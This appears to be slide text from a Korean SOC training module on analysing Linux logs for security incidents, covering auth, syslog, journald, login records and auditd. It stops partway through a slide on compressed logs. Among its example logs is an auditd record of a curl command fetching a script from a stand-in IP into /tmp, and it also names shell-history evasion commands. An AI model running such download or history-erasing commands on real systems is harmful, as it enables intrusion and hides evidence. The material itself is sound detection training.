26년 AI 보안운영 및 위협탐지 실무인력 양성 · (주)아울네스트
Module 2.
Linux 로그 분석
시스템의 행동 기록을 근거 있는 보안 판단으로 바꾸는 12시간
대상
비전공 입문자 / SOC 초급 분석가
시간
총 12시간 (이론 5H + 실습 4H + 사례 3H)
핵심 키워드
/var/log · auth.log · sudo · auditd · SIEM
🐧
(주)아울네스트
한국인터넷진흥원 발주 · 2026
2
보강 설명Module 2 전체 흐름을 한눈에 잡아 주는 시작 슬라이드다. 이번 모듈은 Linux 로그를 읽고 근거 있는 보안 판단과 후속 조치로 연결하는 실무 감각을 만드는 데 초점을 둔다.
Linux 로그SOC보안 분석
이번 모듈의 포인트
  • Linux 로그를 파일명 암기보다 행위 해석 관점으로 읽기
  • 인증·권한상승·실행·지속성을 한 사건 흐름으로 연결하기
  • 관찰 사실을 운영 가능한 판단문으로 정리하는 연습 포함
수업 중 계속 물어야 할 질문
  • 누가 어디서 어떤 계정으로 어떤 행위를 했는가
  • 이 이벤트는 자산 역할과 시간대 기준으로 자연스러운가
  • 추가로 붙여야 할 로그와 즉시 조치는 무엇인가
학습 산출물
  • 공격 패턴별 탐지 포인트 치트시트
  • 실습 로그 기반 triage 문장 초안
  • 후속 모듈에서도 재사용 가능한 분석 프레임
학습 목표와 수강 후 아웃풋
이 모듈의 목표는 '로그를 본 적 있다'가 아니라 Linux 보안 이벤트를 읽고 설명할 수 있게 되는 것이다
PART 0 · 오프닝

로그 위치

Linux 주요 로그 파일의 위치와 역할을 설명할 수 있다. 배포판별 차이를 안다.

인증 분석

SSH 로그인·sudo·cron·명령 실행 흔적을 읽을 수 있다.

행위 해석

정상 운영 행위와 공격 패턴을 구분하는 질문을 던질 수 있다.

보고 작성

Alert에 대해 Fact + Reason + Action 형태로 판단문을 작성할 수 있다.

📌 핵심 메시지
Linux 로그는 시스템의 행동 기록이며, SOC는 이 기록을 근거 있는 판단으로 바꾸는 조직이다.
모든 인증 실패가 공격은 아니고, 모든 로그인 성공이 정상도 아니다.
전제 조건
  • Linux 터미널 기초 (파일 탐색, 텍스트 보기)
  • 네트워크 기초 (IP, 포트, SSH 개념)
  • Module 1 SOC 개요 수강 권장
수료 기준
  • 실습 케이스 4개 이상 판단문 완성
  • 공격 타임라인 1개 재구성
  • 에스컬레이션 판단 근거 서술 가능
왜 Linux 로그가 SOC에서 중요한가
중요 자산이 Linux 위에서 돌아가는 한, Linux 로그는 단순 운영 로그가 아니라 보안 판단의 핵심 증거
PART 0 · 오프닝

Linux 기반 핵심 인프라

  • 🌐 Web / App 서버 — Nginx, Apache, Tomcat
  • 🗄️ DB 서버 — MySQL, PostgreSQL, Redis
  • 🔀 Bastion / Jump Host — 접근 통제 중심점
  • 📦 컨테이너 호스트 — Docker, Kubernetes Worker
  • 🔐 보안 장비 — 방화벽, IDS, SIEM 수집기

공격자가 Linux를 좋아하는 이유

  • SSH는 표준 원격 접근 수단 → 외부 공격 첫 대상
  • 권한 상승 후 내부 확산 발판으로 활용
  • 스크립트/패키지 실행 자유도 높음
  • cron·systemd 등 지속성 확보 도구 풍부
🌊 전형적인 침해 흐름
STEP 1
SSH 브루트포스 / 키 탈취
외부에서 Linux 서버에 최초 접근 시도
STEP 2
계정 탈취 → sudo / 권한 상승
일반 계정에서 root 권한 확보
STEP 3
파일 다운로드·실행 → 지속성
cron, SSH 키, 새 계정으로 재진입 경로 확보
STEP 4
내부 확산 / 데이터 유출
발판 서버에서 내부망으로 이동
Linux 로그를 읽을 수 있다 = 서버 보안 사건의 언어를 읽을 수 있다
12시간 운영 구조와 학습 방식
이론 → 사례 분석 → 실습으로 이어지는 '분석가 훈련형' 커리큘럼
PART 0 · 오프닝
이론 (5H)
Linux 로그 개념·구조·분석
Part 1~6: 개념, 파일 체계, 인증, 인증 심화, 권한 상승, 프로세스·명령 분석
사례 분석 (3H)
공격 시나리오 연결
Part 7: 공격 체인 재구성, ATT&CK 매핑, 보고문 작성
실습 (4H)
케이스 분석·보고
Part 8: 실제 로그 조각 → 판단문 작성 6케이스

파트별 시간 배분

  • Part 0 오프닝: 20분
  • Part 1~2 개념·구조: 80분
  • Part 3~6 분석: 200분
  • Part 7 시나리오: 130분
  • Part 8 실습: 210분
  • Part 9~10 고급·마무리: 80분

수업 운영 방식

  • 명령어 암기 ✗ → 질문 구조 ✔
  • 로그 원문 박스 제시 후 같이 읽기
  • 정상·이상 비교 토론
  • 판단문 개인 작성 → 짝 토론 → 피드백

평가 기준

  • 사실 식별 정확도 30점
  • 이상 근거 서술 25점
  • 추가 확인 항목 20점
  • 판단문 현실성 25점
"로그 해설자"가 아닌 "운영 판단을 만드는 분석가" 관점으로 참여하세요
✋ 시작 전 사전 지식 점검
아는 것부터 확인하고 시작하면 12시간이 훨씬 효율적이다
PART 0 · 오프닝
🙋 다음 질문에 손을 드세요 (또는 O/X로 답하세요)
  1. Linux 터미널에서 cat /var/log/auth.log 명령을 실행해 본 적 있다
  2. SSH 로그인 실패 로그가 어느 파일에 저장되는지 말할 수 있다
  3. sudo가 무엇인지 설명할 수 있다
  4. SIEM이라는 단어를 들어봤고, 로그와 어떤 관계인지 대략 안다
  5. Brute Force와 Password Spraying의 차이를 설명할 수 있다
0~1개
입문 단계
기본 개념부터 차근차근 따라오면 됩니다. 이 강의가 가장 적합한 수준입니다.
2~3개
초급 분석가
기초는 있으나 패턴 분석과 판단문 작성에서 더 강해질 수 있습니다.
4~5개
중급 이상
사례 분석과 고급 확장, 룰 설계 파트에 집중하세요.
보강 설명수강생의 사전 지식 수준을 빠르게 파악하는 슬라이드입니다. 손을 들게 하거나 구두로 답하게 해도 됩니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
사전 지식퀴즈수준 파악
핵심 포인트
  • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
  • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
  • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
추가 확인
  • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
  • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
  • 자산 중요도와 시간대가 결론을 바꾸는지 확인
실무 적용
  • 한 문장 보고서 형태로 요약해 보는 연습
  • 핵심 필드 3개와 그 이유를 함께 정리하기
  • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
PART 1
1
Linux 시스템과 로그 개념
로그가 어디서 오는지 모르면 분석이 아니라 추측을 하게 된다
예상 시간: 35분
관찰 가능성 syslog / journald Facility / Severity 컨텍스트 5가지 핵심 질문
보강 설명Linux 시스템과 로그 개념 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
Linux 개념로그 구조관찰 가능성
들어가기 전에
  • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
  • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
  • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
이 파트에서 놓치지 말 것
  • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
  • 오탐 가능성과 추가 확인 항목을 동시에 적기
  • 분석 결과를 보고 문장과 조치 제안까지 연결하기
바로 써먹는 학습 포인트
  • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
  • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
  • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
Linux는 '관찰 가능한 시스템'이다
사용자와 서비스의 행위가 다양한 계층에 흔적으로 남아, 시스템 내부를 상당 부분 재구성할 수 있다
PART 1 · 개념
🐧
Linux System
🔐 Auth
⚙️ System
⚡ Process
📁 File
🌐 Network
🔍 Audit

관찰 가능한 행위 유형

  • 👤 사용자 로그인·로그아웃 (SSH, console)
  • 🔑 권한 상승 (sudo, su)
  • 💻 명령 실행 (shell, cron, systemd)
  • 📂 파일 생성·수정·삭제
  • 🌐 네트워크 연결 (아웃바운드, 인바운드)
  • ⚙️ 서비스 시작·중지

로그의 한계도 알아야 한다

  • 모든 행위가 로그로 남는 것은 아니다
  • 로그 수준·설정에 따라 세부 정보가 다르다
  • 공격자가 로그를 삭제·조작할 수 있다
  • 단일 로그 소스만으로는 그림이 불완전하다
좋은 분석가는 로그의 존재보다, 로그의 한계와 보강 경로까지 함께 이해한다
보강 설명비전공자에게 Linux는 어려워 보이지만, 보안 관점에서는 매우 관찰하기 좋은 시스템입니다. 다양한 계층에 흔적이 남기 때문입니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
관찰 가능성여러 계층로그의 한계
핵심 포인트
  • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
  • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
  • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
추가 확인
  • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
  • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
  • 자산 중요도와 시간대가 결론을 바꾸는지 확인
실무 적용
  • 한 문장 보고서 형태로 요약해 보는 연습
  • 핵심 필드 3개와 그 이유를 함께 정리하기
  • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
사용자 행동 → 시스템 처리 → 로그 기록
로그는 갑자기 생기는 것이 아니라, 실제 행위가 시스템 계층을 통과하면서 여러 지점에 남는 결과물이다
PART 1 · 개념
예시: SSH 로그인 한 번의 여정
👤
사용자 입력
ssh admin@host
🔒
sshd
연결 수락/거절
📋
PAM
계정 정책 검증
Shell 생성
세션 열림
sudo/명령
추가 흔적
auth.log/secure
SIEM 수집

남겨지는 흔적들

  • auth.log 인증 성공/실패
  • syslog 세션 정보
  • wtmp 로그인 기록
  • auditd 상세 행위

흐름을 알면 달라지는 것

Accepted 한 줄만 보는 게 아니라, 세션이 열린 후 무엇을 했는지까지 추적하게 됩니다. 시스템 동작 모델을 이해하는 일입니다.

분석가의 시각

텍스트 해석 + 시스템 동작 모델 이해. 어떤 행위가 어떤 로그를 남기는지 머릿속 지도가 있어야 합니다.

보강 설명로그는 갑자기 생기는 게 아닙니다. 행위가 시스템 계층을 통과하면서 여러 지점에 남는 결과입니다. SSH 로그인 하나도 여러 파일에 다른 형태로 나타납니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
sshdPAM세션
핵심 포인트
  • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
  • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
  • root·관리자·서비스 계정은 민감도를 다르게 보기
추가 확인
  • Bastion/VPN·허용 IP·승인 작업 여부 점검
  • last/lastb/who로 현재 세션과 지속 시간 확인
  • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
실무 질문
  • 사용자 역할상 이 자산 접근이 자연스러운가
  • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
  • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
로그 vs 히스토리 vs 저널 vs 텔레메트리
분석가는 '어디에서 나온 정보인가'를 구분해야 한다 — 같은 명령 실행이라도 데이터 소스마다 보여주는 그림이 다르다
PART 1 · 개념
데이터 소스 생성 주체 저장 위치 조작 가능성 신뢰 수준 주요 활용
System Log
auth.log, syslog
OS / 서비스 /var/log/* 중간 (root로 삭제 가능) 높음 인증, 서비스 이벤트
Journal
systemd-journald
systemd /run/log/journal 중간 높음 서비스 단위 추적
Shell History
.bash_history
사용자 셸 ~/.bash_history 높음 (사용자가 삭제/우회) 낮음~중간 보조 단서
Audit Log
auditd
커널 감사 /var/log/audit/ 낮음~중간 매우 높음 명령 실행, 파일 접근
Telemetry
EDR, eBPF
보안 에이전트 클라우드/SIEM 낮음 매우 높음 프로세스 트리, 네트워크
bash_history는 정답지가 아닙니다 — 공격자는 unset HISTFILE, history -c, 비대화형 셸로 기록을 우회할 수 있습니다
syslog 생태계와 systemd-journald
현대 Linux에서는 텍스트 파일 로그와 저널 기반 로그가 함께 존재하며, 배포판·구성에 따라 데이터 흐름이 달라진다
PART 1 · 개념
📡 로그 흐름 구조
[Service / Application]
  ├─→ [systemd-journald]journalctl
  └─→ [rsyslog / syslog-ng]/var/log/*
                            └─→ [SIEM Collector]
⚠️ 주의: journald 전용 환경에서 /var/log 파일만 보면 정보를 놓칠 수 있습니다. 반드시 journalctl로 보강하세요.

🕰️ 전통 방식

  • 애플리케이션 → syslog() 호출
  • rsyslog가 수신 후 파일로 저장
  • /var/log/auth.log 등 텍스트 파일
  • logrotate로 회전·압축

🆕 현대 방식

  • systemd 서비스 → journald
  • 바이너리 형식으로 저장
  • journalctl로 조회
  • rsyslog로 파일 전달 가능

🔄 혼합 환경 (가장 흔함)

journald가 수집 후 rsyslog에 forward → 둘 다 보강 필요. SIEM 수집기는 보통 파일 기반으로 동작하므로 journald → file 설정 확인 필수.

파일이 없으면 로그가 없다고 단정하지 마세요 — journalctl -xe로 한 번 더 확인하세요
로그 한 줄의 구조를 해부하기
좋은 분석은 긴 로그 줄을 무서워하지 않고, 시간·호스트·프로세스·메시지로 빠르게 분해하는 데서 시작된다
PART 1 · 개념
Jan 12 08:15:23  web01  sshd[20191]:  Failed password for invalid user oracle from 198.51.100.23 port 51422 ssh2
① 시간
Jan 12 08:15:23
이벤트 발생 시각
② 호스트
web01
어느 서버의 이벤트
③ 프로세스
sshd[20191]
기록한 서비스/PID
④ 결과
Failed password
성공/실패/오류
⑤ 세부 정보
oracle / 198.51.100.23
계정·IP·포트·방식

읽는 순서 공식

언제?
어디서?
누가 기록?
무슨 일?

이 예시에서 주목할 것

  • invalid user = 시스템에 없는 계정 시도 → 자동화 가능성
  • oracle = 데이터베이스 기본 계정명 사용 → 목록 기반 공격
  • 198.51.100.23 = 외부 IP → 스캐닝/브루트포스
보강 설명입문자가 로그를 어려워하는 이유는 텍스트가 길어서가 아니라, 어디부터 봐야 할지 모르기 때문입니다. 시간-호스트-서비스-메시지 순서만 잡으면 됩니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
시간호스트프로세스
핵심 포인트
  • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
  • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
  • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
추가 확인
  • 해당 파일 생성 시점과 해시·권한·소유자 확인
  • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
  • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
실무 예시
  • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
  • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
  • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
Facility, Severity, 구조화 정도를 이해하라
같은 이벤트라도 어떤 로그 시스템을 거쳤는지에 따라 Facility·Severity·JSON 필드 유무가 달라진다
PART 1 · 개념
Facility (이벤트 출처 분류)
auth
daemon
cron
kern
mail
syslog
Severity (심각도 - 높음→낮음)
emerg
alert
crit
err
warn
notice
info
debug
텍스트 로그 vs JSON 로그
# 텍스트 로그 (전통)
Jan 12 08:15:23 web01 sshd[20191]: Failed password for root from 198.51.100.23
# JSON 로그 (구조화)
{
  "timestamp": "2026-01-12T08:15:23Z",
  "host": "web01",
  "process": "sshd",
  "outcome": "failure",
  "user": "root",
  "src_ip": "198.51.100.23"
}
⚠️ 보안 주의: info 레벨이라도 침해 핵심 증거일 수 있습니다. Severity 값만으로 중요도를 판단하지 마세요.
로그 해석에 반드시 필요한 컨텍스트
같은 SSH 성공 로그도 관리자 점프 서버 작업인지, 침해된 웹서버의 비정상 접근인지는 컨텍스트가 갈라놓는다
PART 1 · 개념
📋 컨텍스트 5가지 축
👤
사용자 컨텍스트
일반사용자 / 서비스계정 / 관리자 / 퇴사자 / VIP
🖥️
자산 컨텍스트
개발/운영 서버 구분 · 인터넷 노출 여부 · 데이터 중요도
🕐
시간 컨텍스트
업무시간 / 점검시간 / 야간 / 주말 / 배치 시간대
🌐
네트워크 컨텍스트
내부망 / VPN / Bastion / 신규 IP / 해외 구간
📝
변경 컨텍스트
승인된 작업 여부 · 배포/패치/비밀번호 변경 관계
⚖️ 같은 로그, 다른 의미
Accepted password for admin from 10.10.1.5

정상 가능성 높음

  • 승인된 점검 작업 (티켓 확인됨)
  • Bastion Host 경유
  • 업무시간 (09:30)
  • 직후 패치 명령 실행

고위험 가능성

  • 승인 티켓 없음
  • 신규 외부 IP에서 직접 접근
  • 야간 (02:11)
  • 직후 sudo + /tmp 다운로드
보강 설명같은 SSH 성공이라도 맥락이 판단을 바꿉니다. 사용자 정보, 자산 중요도, 시간대, 네트워크 경로를 함께 보는 습관이 분석의 핵심입니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
사용자 맥락자산 중요도변경 기록
핵심 포인트
  • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
  • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
  • root·관리자·서비스 계정은 민감도를 다르게 보기
추가 확인
  • Bastion/VPN·허용 IP·승인 작업 여부 점검
  • last/lastb/who로 현재 세션과 지속 시간 확인
  • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
실무 질문
  • 사용자 역할상 이 자산 접근이 자연스러운가
  • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
  • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
Linux 로그를 열었을 때 가장 먼저 던질 5가지 질문
좋은 분석은 '무슨 로그냐'보다 먼저 '무슨 질문을 해야 하느냐'를 안다
PART 1 · 개념
Q1
이 로그는 어떤 서비스/기능의 기록인가?
auth / system / process / network / audit 중 무엇
📌 예: sshd → 인증 영역, cron → 스케줄 영역
Q2
성공/실패/오류 중 어떤 상태를 보여주는가?
Accepted / Failed / error / warning 등
📌 실패가 많다 ≠ 공격. 성공이 있다 ≠ 정상
Q3
누가 어떤 자산에서 어떤 계정으로 어떤 행위를?
WHO · WHAT · WHERE · HOW
📌 계정+자산+행위 조합이 핵심
Q4
직전과 직후에 이어지는 다른 흔적은 무엇인가?
단일 이벤트 → 시간 흐름으로 확장
📌 패턴이 연결될 때 사건이 보인다
Q5
정상 운영/승인 작업으로 설명할 수 있는가?
오탐 가능성 점검 → 에스컬레이션 결정
📌 설명이 안 될 때 위험도가 올라간다
보강 설명좋은 분석은 무슨 로그냐보다 무슨 질문을 해야 하느냐를 압니다. 이 5가지 질문을 먼저 던지면 분석 범위를 빠르게 좁힐 수 있습니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
질문 중심방향 설정사실에서 판단으로
핵심 포인트
  • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
  • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
  • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
추가 확인
  • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
  • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
  • 자산 중요도와 시간대가 결론을 바꾸는지 확인
실무 적용
  • 한 문장 보고서 형태로 요약해 보는 연습
  • 핵심 필드 3개와 그 이유를 함께 정리하기
  • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
PART 2
2
로그 구조 및 파일 체계
로그 위치를 모르면 분석이 아니라 추측을 하게 된다
예상 시간: 45분
/var/log 체계 auth.log / secure journalctl wtmp / btmp auditd logrotate
보강 설명로그 구조 및 파일 체계 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
핵심 개념판단 기준실무 적용
들어가기 전에
  • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
  • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
  • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
이 파트에서 놓치지 말 것
  • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
  • 오탐 가능성과 추가 확인 항목을 동시에 적기
  • 분석 결과를 보고 문장과 조치 제안까지 연결하기
바로 써먹는 학습 포인트
  • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
  • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
  • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
Linux 로그의 기본 지도: /var/log부터 잡아라
로그 위치를 모르면 분석이 아니라 추측을 하게 된다 — 항상 환경의 로그 정책을 먼저 확인하라
PART 2 · 파일 체계
/var/log/
 ├── auth.log      # Ubuntu/Debian 인증
 ├── secure        # RHEL 계열 인증
 ├── syslog        # Ubuntu/Debian 시스템
 ├── messages      # RHEL 계열 일반 메시지
 ├── kern.log      # 커널 메시지
 ├── cron          # 스케줄 작업
 ├── mail.log      # 메일 서버 이벤트
 ├── dpkg.log      # 패키지 설치/제거
 ├── audit/
 │    └── audit.log  # auditd 행위 감사
 ├── nginx/ or apache2/
 │    ├── access.log
 │    └── error.log
 ├── btmp          # 실패한 로그인 (binary)
 ├── wtmp          # 로그인 기록 (binary)
 └── lastlog       # 계정별 마지막 로그인
🔐 인증·권한
auth.log / secure
sudo 세션
su 전환
⚙️ 시스템·서비스
syslog / messages
kern.log
journalctl
🔍 감사·행위
audit/audit.log
EDR 텔레메트리
bash_history
📊 세션 기록
wtmp (last)
btmp (lastb)
utmp (who)
항상 '이 환경의 로그 정책'을 먼저 확인하세요 — 배포판·설정에 따라 위치가 다릅니다
Ubuntu/Debian vs RHEL 계열: 파일 이름이 다를 수 있다
같은 인증 이벤트라도 배포판에 따라 auth.log일 수도 있고 secure일 수도 있다
PART 2 · 파일 체계
🐧 Ubuntu / Debian 계열
역할파일 경로
🔐 인증 이벤트/var/log/auth.log
⚙️ 일반 시스템/var/log/syslog
🪲 커널/var/log/kern.log
📦 패키지/var/log/dpkg.log
🕐 cron/var/log/cron.log
🎩 RHEL / CentOS / Rocky / AlmaLinux
역할파일 경로
🔐 인증 이벤트/var/log/secure
⚙️ 일반 시스템/var/log/messages
🪲 커널/var/log/dmesg
📦 패키지/var/log/yum.log
🕐 cron/var/log/cron
공통: auditd(/var/log/audit/audit.log), journald, 애플리케이션 자체 로그는 배포판 관계없이 동일한 경우 많음
외울 것: 파일명 하나가 아니라 '인증 로그가 어디에?'라는 역할 중심 사고!
auth.log / secure: 인증 로그 심층 분석
SSH 로그인·sudo·su·인증 실패·성공 같은 고가치 이벤트는 대개 auth.log 또는 secure에서 시작된다
PART 2 · 파일 체계
🔍 기록되는 주요 이벤트 유형
SSH 인증 실패 — Failed password, Failed publickey
SSH 인증 성공 — Accepted password, Accepted publickey
🔑
sudo 실행 — 사용자, TTY, 작업 디렉터리, 명령
🔄
su 전환 — 사용자 전환 성공/실패
📋
PAM 메시지 — 계정 잠금, 정책 위반, MFA
🔐
세션 열림/닫힘 — session opened/closed
# SSH 인증 실패
Jan 12 08:15:23 web01 sshd[20191]: Failed password for invalid user oracle from 198.51.100.23 port 51422 ssh2

# SSH 인증 성공
Jan 12 08:17:09 web01 sshd[20234]: Accepted publickey for devops from 10.10.2.15 port 44802 ssh2: RSA SHA256:ABCD...

# sudo 실행
Jan 12 08:18:42 web01 sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update

# 세션 관련
Jan 12 08:17:09 web01 sshd[20234]: pam_unix(sshd:session): session opened for user devops by (uid=0)

핵심 분석 질문

  • 누가 로그인했는가? 이 자산에 접근 권한이 있는가?
  • 어디서(IP) 들어왔는가? Bastion 경유인가?
  • 실패 후 성공으로 이어졌는가?
  • 로그인 후 권한 상승이 있었는가?
syslog / messages: 서비스와 시스템의 배경 맥락
auth 로그가 '누가 들어왔는가'를 말해준다면, syslog/messages는 그 시스템에서 무엇이 어떻게 돌아가고 있었는지 배경을 제공한다
PART 2 · 파일 체계
📋 주요 기록 내용
  • 서비스 시작/중지 (systemd, daemon)
  • cron 작업 실행 이벤트
  • daemon 오류와 경고 메시지
  • 일부 네트워크/시스템 상태 변경
  • 애플리케이션이 syslog로 보내는 이벤트
  • 하드웨어/드라이버 이벤트
  • 🔐 보안 분석 활용 포인트
  • 로그인 직후 어떤 서비스/작업이 실행되었는가
  • 야간에 비정상적인 cron 작업이 있었는가
  • 의심스러운 프로세스 시작 흔적이 남았는가
  • 서비스 재시작 패턴이 공격 타임라인과 겹치는가
  • # cron 작업 실행
    Jan 12 02:00:01 db01 CRON[31201]: (root) CMD (/usr/bin/backup.sh)

    # 서비스 시작
    Jan 12 08:01:15 web01 systemd[1]: Started nginx.service - A high performance web server

    # daemon 오류
    Jan 12 03:42:11 app01 kernel: [UFW BLOCK] IN=eth0 OUT= SRC=203.0.113.7 DST=10.10.1.5 PROTO=TCP DPT=22

    # syslog로 전달된 앱 이벤트
    Jan 12 09:15:33 web01 nginx: 2026/01/12 09:15:33 [error] open() "/var/www/html/.env" failed (2: No such file or directory)
    💡 팁: auth.log만 보고 끝내지 마세요. syslog의 cron 실행이나 서비스 시작 흔적이 침해 후 행동을 보여줄 수 있습니다.
    journalctl: 파일에 안 보이는 것도 저널에 있을 수 있다
    systemd-journald에 저장된 이벤트를 시간·서비스·부팅 세션 기준으로 조회할 수 있게 해준다
    PART 2 · 파일 체계
    ⌨️ 자주 쓰는 journalctl 명령
    명령목적
    journalctl -xe최신 이벤트 + 오류 설명 확인
    journalctl -u sshdSSH 서비스만 필터
    journalctl -u cron --since "2026-03-18 00:00:00"cron 특정 시간부터
    journalctl _COMM=sudosudo 명령만 추적
    journalctl -b현재 부팅 세션 전체
    journalctl -b -1이전 부팅 세션
    journalctl -k커널 메시지만
    journalctl -p err -n 50오류 레벨 최근 50줄
    # sshd 서비스 기준 조회 결과 예시
    $ journalctl -u sshd --since "2026-01-12 01:50" --until "2026-01-12 02:30"

    Jan 12 01:52:11 web01 sshd[19982]: Failed password for root from 198.51.100.23
    Jan 12 01:58:44 web01 sshd[19998]: Failed password for admin from 198.51.100.23
    Jan 12 02:06:03 web01 sshd[20011]: Accepted password for admin from 198.51.100.23
    Jan 12 02:06:03 web01 sshd[20011]: pam_unix: session opened for user admin

    저널의 장점

    • 서비스별 깔끔한 필터링
    • 시간 범위 지정 편리
    • 부팅 세션 구분 가능

    주의사항

    • 재부팅 시 일부 손실 가능
    • SIEM 수집 여부 확인 필요
    • journald 설정에 따라 크기 제한
    wtmp / btmp / utmp: last, lastb, who로 보는 로그인 흔적
    텍스트 로그와 별개로, Linux는 로그인 세션 정보를 바이너리 형식으로 저장한다
    PART 2 · 파일 체계
    📋
    wtmp
    로그인/로그아웃 기록
    $ last
    admin pts/0 198.51.100.23 Wed Jan 12 02:06 still logged in
    devops pts/1 10.10.2.15 Tue Jan 11 09:15 - 17:32 (08:17)
    wtmp begins Mon Jan 10 00:00
    🚫
    btmp
    실패한 로그인 기록
    $ lastb
    root ssh:notty 198.51.100.23 Jan 12 01:52 - 01:52 (00:00)
    admin ssh:notty 198.51.100.23 Jan 12 01:58 - 01:58 (00:00)
    btmp begins Mon Jan 10 00:00
    👁️
    utmp / who
    현재 로그인 세션
    $ who
    admin pts/0 2026-01-12 02:06 (198.51.100.23)

    $ w
    02:18up 12 days, 3:22, 1 user, load average: 0.01
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    admin pts/0 198.51.100.23 02:06 0.00s sudo -i
    IR 초동 우선 확인: who 또는 w 명령으로 지금 당장 살아 있는 세션이 있는가를 즉시 확인하세요
    auditd / audit.log: 고신뢰 행위 추적의 핵심
    auditd는 표준 로그의 빈틈을 메우며, execve·file access·privilege change를 상세하게 수집한다
    PART 2 · 파일 체계
    auditd의 장점
  • 실행 명령(execve)과 인자 전체를 기록
  • 파일 생성·수정·삭제 추적 가능
  • uid/euid (실제 vs 유효 사용자 ID) 구분
  • 커널 수준에서 수집 → 우회 어려움
  • syscall 단위 세밀한 기록 가능
  • 주의사항
  • 미설정 시 기본 로그가 매우 제한적
  • 설정 과다 시 데이터 양 폭증 가능
  • 모든 환경에서 활성화된 것이 아님
  • 로그 형식이 복잡해 파싱 품질 중요
  • # execve 이벤트: 명령 실행 추적
    type=EXECVE msg=audit(1710002220.521:411): argc=5
     a0="curl" a1="-fsSL" a2="http://198.51.100.8/u.sh" a3="-o" a4="/tmp/u.sh"

    # PATH 이벤트: 파일 접근 추적
    type=PATH msg=audit(1710003301.111:511): item=1
     name="/home/deploy/.ssh/authorized_keys"
     inode=128456 dev=08:01 mode=0100600 ouid=1001

    # SYSCALL 이벤트: 시스템 콜 추적
    type=SYSCALL msg=audit(1710003301.111:511):
     arch=c000003e syscall=2 success=yes exit=3
     a0=... uid=0 auid=1001 pid=22193
     exe="/usr/bin/vim"
    💡 auid 필드: audit user ID. sudo로 root가 된 경우에도 원래 사용자를 추적할 수 있어 침해 조사에서 매우 중요합니다.
    logrotate와 압축 로그를 이해하라
    공격이 어제 있었는데 오늘 log 파일만 보고 '없다'고 말하는 실수는 아주 흔하다
    PART 2 · 파일 체계
    📁 로그 파일 회전 예시
    # ls -la /var/log/ 결과
    -rw-r----- auth.log          ← 오늘
    -rw-r----- auth.log.1         ← 어제
    -rw-r----- auth.log.2.gz      ← 그제 (압축)
    -rw-r----- auth.log.3.gz      ← 3일 전
    -rw-r----- auth.log.4.gz      ← 4일 전

    # RHEL 계열 - 날짜 기반 이름
    -rw------- secure
    -rw------- secure-20260112
    -rw------- secure-20260111
    🔍 압축 로그 조회 명령
